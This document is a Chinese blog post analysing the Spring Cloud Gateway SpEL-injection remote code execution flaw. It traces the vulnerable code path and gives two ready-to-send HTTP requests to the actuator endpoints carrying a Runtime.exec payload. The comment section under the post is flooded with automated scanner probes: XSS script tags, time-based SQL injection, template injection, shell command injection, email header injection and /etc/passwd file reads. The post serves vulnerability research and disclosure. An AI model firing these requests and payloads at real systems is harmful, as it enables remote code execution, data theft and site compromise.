首页 漏洞

SpringCloud Gateway 是 Spring Cloud 的一个全新项目,该项目是基于 Spring 5.0,Spring Boot 2.0 和 Project Reactor 等技术开发的网关,它旨在为微服务架构提供一种简单有效的统一的 API 路由管理方式。

0x01:影响版本

Spring Cloud Gateway:
3.1.0
3.0.0 to 3.0.6
不受支持的旧版本也会受到影响

0x02:原理分析

Actuator API

SpringCloudGateWay支持通过Actuator端点对网关进行监控和交互,其中还可以删除和创建特定的路由。
请输入图片描述

路由相关定义如下
请输入图片描述

其中的filter参数可以定义该路由的Filter,并且可以传递Filter的参数。 SpringCloudGateWay内置了28个Filter。
请输入图片描述

ShortcutConfigurable

可以看到所有的GateWayFilter都继承了ShortcutConfigurable接口。
请输入图片描述

而在ShortcutConfigurable接口中有一个getValue静态方法,可以看到里面执行了SPEL表达式,expression.getValue(context)

请输入图片描述

而调用该getValue的地方在该接口的ShortcutType枚举类型中的normalize方法。

请输入图片描述

GatewayFilters#normalizeProperties

而调用了normalize的地方则是在对每一个Filter初始化过程中对Filter属性进行解析时。

请输入图片描述

也就是其中会将Filter的配置属性传入normalize中,最后进入getValue执行SPEL表达式造成SPEL表达式注入。

0x03:复现

RewritePathFilter为例。

POST /actuator/gateway/routes/new_route HTTP/1.1
Host: 127.0.0.1:9000
Connection: close
Content-Type: application/json
Content-Length: 374

{
  "predicates": [
    {
      "name": "Path",
      "args": {
        "_genkey_0": "/new_route/**"
      }
    }
  ],
  "filters": [
    {
      "name": "RewritePath",
      "args": {
        "_genkey_0": "#{T(java.lang.Runtime).getRuntime().exec(\"calc\")}",
        "_genkey_1": "/${path}"
      }
    }
  ],
  "uri": "https://xxx.pl",
  "order": 0
}

请输入图片描述

POST /actuator/gateway/refresh HTTP/1.1
Host: 127.0.0.1:9000
Content-Type: application/json
Connection: close
Content-Length: 260

{
  "predicate": "Paths: [/new_route], match trailing slash: true",
  "route_id": "new_route",
  "filters": [
    "[[RewritePath #{T(java.lang.Runtime).getRuntime().exec(\"calc\")} = /${path}], order = 1]"
  ],
  "uri": "https://xxx.pl",
  "order": 0
}

请输入图片描述

ps:本地测试的缘故导致最后一张图执行的命令和burp放在了一起,但是不要慌是这是一个远程RCE




文章评论

    dfb{{98991*97996}}xca 访客ChromeWindows
    2022-08-30 9:22   回复

    1

    1 访客ChromeWindows
    2022-08-30 9:22   回复

    1

    1 访客ChromeWindows
    2022-08-30 9:22   回复

    1

    2022-08-30 9:22   回复

    1

    2022-08-30 9:22   回复

    1

    1 访客ChromeWindows
    2022-08-30 9:22   回复

    1'"()&%<zzz><ScRiPt >2ia1(9252)</ScRiPt>

    19896763 访客ChromeWindows
    2022-08-30 9:21   回复

    1

    1 访客ChromeWindows
    2022-08-30 8:38   回复

    1

    1 访客ChromeWindows
    2022-08-30 8:38   回复

    1

    1 访客ChromeWindows
    2022-08-30 8:38   回复

    1

    1 访客ChromeWindows
    2022-08-30 8:38   回复

    1

    1 访客ChromeWindows
    2022-08-30 8:37   回复

    1

    1 访客ChromeWindows
    2022-08-30 8:36   回复

    1

    1 访客ChromeWindows
    2022-08-30 8:36   回复

    1

    1 访客ChromeWindows
    2022-08-30 8:35   回复

    '"()&%<zzz><ScRiPt >G4M8(9163)</ScRiPt>

    1 访客ChromeWindows
    2022-08-30 8:35   回复

    1'"()&%<zzz><ScRiPt >G4M8(9608)</ScRiPt>

    1 访客ChromeWindows
    2022-08-30 8:28   回复

    19475207

    1 访客ChromeWindows
    2022-08-30 8:28   回复

    19523160

    1 访客ChromeWindows
    2022-08-30 8:28   回复

    '"()&%<zzz><ScRiPt >WtHy(9099)</ScRiPt>

    1 访客ChromeWindows
    2022-08-30 8:28   回复

    19959855

    19431247 访客ChromeWindows
    2022-08-30 8:28   回复

    1

    1 访客ChromeWindows
    2022-08-30 8:28   回复

    '"()&%<zzz><ScRiPt >0f0D(9395)</ScRiPt>

    1 访客ChromeWindows
    2022-08-30 8:28   回复

    1'"()&%<zzz><ScRiPt >0f0D(9051)</ScRiPt>

    1 访客ChromeWindows
    2022-08-30 8:19   回复

    "dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")

    dfb[[${98991*97996}]]xca 访客ChromeWindows
    2022-08-30 8:19   回复

    1

    1 访客ChromeWindows
    2022-08-30 8:19   回复

    <th:t="${dfb}#foreach

    1 访客ChromeWindows
    2022-08-30 8:19   回复

    1

    2022-08-30 8:19   回复

    1

    1 访客ChromeWindows
    2022-08-30 8:19   回复

    19875725

    1 访客ChromeWindows
    2022-08-30 8:19   回复

    '"()&%<zzz><ScRiPt >M7IJ(9933)</ScRiPt>

    19724958 访客ChromeWindows
    2022-08-30 8:19   回复

    1

    1 访客ChromeWindows
    2022-08-30 8:19   回复

    1'"()&%<zzz><ScRiPt >M7IJ(9804)</ScRiPt>

    1 访客ChromeWindows
    2022-08-30 0:50   回复

    1

      dfb[[${98991*97996}]]xca 访客ChromeWindows
      2022-08-30 9:30   回复

      1

      1 访客ChromeWindows
      2022-08-30 9:29   回复

      1

      1 访客ChromeWindows
      2022-08-30 9:29   回复

      1

      2022-08-30 9:29   回复

      1

      2022-08-30 9:29   回复

      1

      19727463 访客ChromeWindows
      2022-08-30 9:29   回复

      1

      1 访客ChromeWindows
      2022-08-30 9:27   回复

      13Bvng
      <ScRiPt >3eGR(9232)</ScRiPt>

      1 访客ChromeWindows
      2022-08-30 9:27   回复

      1<input autofocus onfocus=3eGR(9055)>

      1 访客ChromeWindows
      2022-08-30 9:27   回复

      1u003CScRiPt3eGR(9641)u003C/sCripTu003E

      1 访客ChromeWindows
      2022-08-30 9:27   回复

      %31%3C%53%63%52%69%50%74%20%3E%33%65%47%52%289338%29%3C%2F%73%43%72%69%70%54%3E

      1 访客ChromeWindows
      2022-08-30 9:26   回复

      1

      1 访客ChromeWindows
      2022-08-30 9:26   回复

      1

      1 访客ChromeWindows
      2022-08-30 9:26   回复

      1<isindex type=image src=1 onerror=3eGR(9168)>

      1 访客ChromeWindows
      2022-08-30 9:26   回复

      1<ScRiPt

      3eGR(9303)</ScRiPt>

      1 访客ChromeWindows
      2022-08-30 9:25   回复

      "dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")

      1 访客ChromeWindows
      2022-08-30 9:25   回复

      1

      1 访客ChromeWindows
      2022-08-30 9:25   回复

      1

      1 访客ChromeWindows
      2022-08-30 9:25   回复

      <%={{={@{#{${dfb}}%>

      1 访客ChromeWindows
      2022-08-30 9:25   回复

      bfgx5574%C0%BEz1%C0%BCz2a%90bcxhjl5574

      1 访客ChromeWindows
      2022-08-30 9:25   回复

      bfg9728%EF%BC%9Cs1%EF%B9%A5s2%CA%BAs3%CA%B9hjl9728

      1 访客ChromeWindows
      2022-08-30 9:25   回复

      19641052

      1 访客ChromeWindows
      2022-08-30 9:24   回复

      1'"()&%<zzz><ScRiPt >3eGR(9818)</ScRiPt>

      1 访客ChromeWindows
      2022-08-30 8:43   回复

      PI2E6IpZ')) OR 31=(SELECT 31 FROM PG_SLEEP(15))--

      1 访客ChromeWindows
      2022-08-30 8:43   回复

      Zl8Mx75t') OR 50=(SELECT 50 FROM PG_SLEEP(15))--

      1 访客ChromeWindows
      2022-08-30 8:43   回复

      xb5PMXcT' OR 190=(SELECT 190 FROM PG_SLEEP(15))--

      1 访客ChromeWindows
      2022-08-30 8:43   回复

      -5) OR 353=(SELECT 353 FROM PG_SLEEP(15))--

      1 访客ChromeWindows
      2022-08-30 8:43   回复

      -5 OR 926=(SELECT 926 FROM PG_SLEEP(15))--

      1 访客ChromeWindows
      2022-08-30 8:42   回复

      (select(0)from(select(sleep(15)))v)/'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"/

      1 访客ChromeWindows
      2022-08-30 8:42   回复

      -1' OR 2+719-719-1=0+0+0+1 --

      1 访客ChromeWindows
      2022-08-30 8:42   回复

      -1 OR 2+193-193-1=0+0+0+1

      1 访客ChromeWindows
      2022-08-30 8:42   回复

      -1 OR 2+672-672-1=0+0+0+1 --

      1 访客ChromeWindows
      2022-08-30 8:42   回复

      1

      1 访客ChromeWindows
      2022-08-30 8:42   回复

      1

      1 访客ChromeWindows
      2022-08-30 8:42   回复

      1

      1 访客ChromeWindows
      2022-08-30 8:42   回复

      1

      1 访客ChromeWindows
      2022-08-30 8:39   回复

      1

      1 访客ChromeWindows
      2022-08-30 8:39   回复

      1

      1 访客ChromeWindows
      2022-08-30 8:39   回复

      1

      1 访客ChromeWindows
      2022-08-30 8:39   回复

      1

      1 访客ChromeWindows
      2022-08-30 8:39   回复

      1

      1 访客ChromeWindows
      2022-08-30 8:38   回复

      1

      1 访客ChromeWindows
      2022-08-30 8:38   回复

      to@example.com>%0d%0abcc:009247.1-56374.1.5b6cd.19234.2@bxss.me

      -1 OR 2+134-134-1=0+0+0+1 访客ChromeWindows
      2022-08-30 8:38   回复

      1

      1 访客ChromeWindows
      2022-08-30 8:38   回复

      1

      1 访客ChromeWindows
      2022-08-30 8:37   回复

      1

      1 访客ChromeWindows
      2022-08-30 8:37   回复

      1

      1 访客ChromeWindows
      2022-08-30 8:35   回复

      1B3BDcdaTeO

      1 访客ChromeWindows
      2022-08-30 8:35   回复

      1

      1 访客ChromeWindows
      2022-08-30 8:35   回复

      1

      1BB0l9Ezn8O 访客ChromeWindows
      2022-08-30 8:35   回复

      1

      1 访客ChromeWindows
      2022-08-30 8:35   回复

      1

    1 访客ChromeWindows
    2022-08-29 17:17   回复

    1

      1 访客ChromeWindows
      2022-08-30 8:46   回复

      1*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)

      1 访客ChromeWindows
      2022-08-30 8:46   回复

      MHXJAhsl' OR 504=(SELECT 504 FROM PG_SLEEP(15))--

      1 访客ChromeWindows
      2022-08-30 8:46   回复

      -5) OR 357=(SELECT 357 FROM PG_SLEEP(15))--

      1 访客ChromeWindows
      2022-08-30 8:46   回复

      if(now()=sysdate(),sleep(15),0)

      1 访客ChromeWindows
      2022-08-30 8:45   回复

      1

      1 访客ChromeWindows
      2022-08-30 8:45   回复

      1

      1 访客ChromeWindows
      2022-08-30 8:45   回复

      1

      1 访客ChromeWindows
      2022-08-30 8:45   回复

      1

      1 访客ChromeWindows
      2022-08-30 8:45   回复

      1

      1 访客ChromeWindows
      2022-08-30 8:45   回复

      1

      1 访客ChromeWindows
      2022-08-30 8:44   回复

      |echo jbhzdb$()\ nspoie\nz^xyu||a #' |echo jbhzdb$() nspoienz^xyu||a #|" |echo jbhzdb$() nspoienz^xyu||a #

      ${9999692+9999991} 访客ChromeWindows
      2022-08-30 8:44   回复

      1

      1 访客ChromeWindows
      2022-08-30 8:44   回复

      to@example.com>%0d%0abcc:009247.1-56579.1.5b6cd.19234.2@bxss.me

      1 访客ChromeWindows
      2022-08-30 8:44   回复

      response.write(9940264*9419508)

      file:///etc/passwd 访客ChromeWindows
      2022-08-30 8:44   回复

      1

      -1 OR 2+84-84-1=0+0+0+1 -- 访客ChromeWindows
      2022-08-30 8:44   回复

      1

      1 访客ChromeWindows
      2022-08-30 8:44   回复

      1

      1 访客ChromeWindows
      2022-08-30 8:44   回复

      1

    1 访客ChromeWindows
    2022-08-29 16:48   回复

    (select(0)from(select(sleep(15)))v)/'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"/

      1 访客ChromeWindows
      2022-08-30 8:46   回复

      -1" OR 3+112-112-1=0+0+0+1 --

      1 访客ChromeWindows
      2022-08-30 8:46   回复

      -1" OR 2+112-112-1=0+0+0+1 --

      1 访客ChromeWindows
      2022-08-30 8:46   回复

      -1' OR 3+84-84-1=0+0+0+1 --

      1 访客ChromeWindows
      2022-08-30 8:46   回复

      -1' OR 2+84-84-1=0+0+0+1 --

      1 访客ChromeWindows
      2022-08-30 8:46   回复

      1

      1 访客ChromeWindows
      2022-08-30 8:45   回复

      1

      1 访客ChromeWindows
      2022-08-30 8:45   回复

      1

    1 访客ChromeWindows
    2022-08-29 16:48   回复

    0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z

    1 访客ChromeWindows
    2022-08-29 16:48   回复

    if(now()=sysdate(),sleep(15),0)

    1 访客ChromeWindows
    2022-08-29 16:48   回复

    -1' OR 2+843-843-1=0+0+0+1 or 'ko0xvQ2Z'='

    1 访客ChromeWindows
    2022-08-29 16:48   回复

    -1' OR 2+575-575-1=0+0+0+1 --

    1 访客ChromeWindows
    2022-08-29 16:48   回复

    1

    1 访客ChromeWindows
    2022-08-29 16:48   回复

    1

    1 访客ChromeWindows
    2022-08-29 16:48   回复

    1

    file:///etc/passwd 访客ChromeWindows
    2022-08-29 16:47   回复

    1

    2022-08-29 16:47   回复

    1

    -1' OR 2+779-779-1=0+0+0+1 -- 访客ChromeWindows
    2022-08-29 16:47   回复

    1

    1 访客ChromeWindows
    2022-08-29 16:47   回复

    1HQ8xHmiO

    -1 OR 2+965-965-1=0+0+0+1 -- 访客ChromeWindows
    2022-08-29 16:47   回复

    1

    1 访客ChromeWindows
    2022-08-29 16:47   回复

    1

    1nnxBozYO 访客ChromeWindows
    2022-08-29 16:47   回复

    1

    1 访客ChromeWindows
    2022-08-29 16:47   回复

    1

    1 访客ChromeWindows
    2022-08-29 16:42   回复

    1

    1 访客ChromeWindows
    2022-08-29 16:42   回复

    1

目录